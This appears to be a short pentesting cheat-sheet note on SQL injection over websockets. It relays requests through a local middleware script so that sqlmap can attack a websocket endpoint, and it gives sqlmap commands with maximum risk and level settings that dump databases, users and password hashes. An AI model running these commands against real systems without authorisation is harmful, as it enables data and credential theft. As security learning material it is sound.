# Websocket SQLi

* SQLmap is not able to send websocket requests directly because of the id added to the request. Therefore you need a local webserver as a middleware which translates requests to the target. Put in the webserver URL, and the correct data structure into the script and run it.o

```sh
sqlmap -u "http://127.0.0.1:8081/?id=62009" -p "id" --dbs
```

## Usage

First, make sure ` websocket-client` is installed from PyPi.

Enumerate the websocket via [the websocket enumeration script](../../Enumeration/EnumScripts).
You may provide the URL endpoint you want to request and the key, value of the request via the arguments in the following way
```sh
websocket_enumeration.py /values key value
```

I modified the script rayhan0x01 provides so that an endpoint can set. [The modified script](./Scripts/sqlmap_websocket_server.py) is started in the following way
```sh
sqlmap_websocket_server.py /endpoint
```

Start sqlmap requesting the `sqlmap_websocket_server` on localhost port 8081
```sh
sqlmap -u "http://127.0.0.1:8081/?id=1" --batch --risk 3 --level 5 --flush-session --dump --passwords --users
```
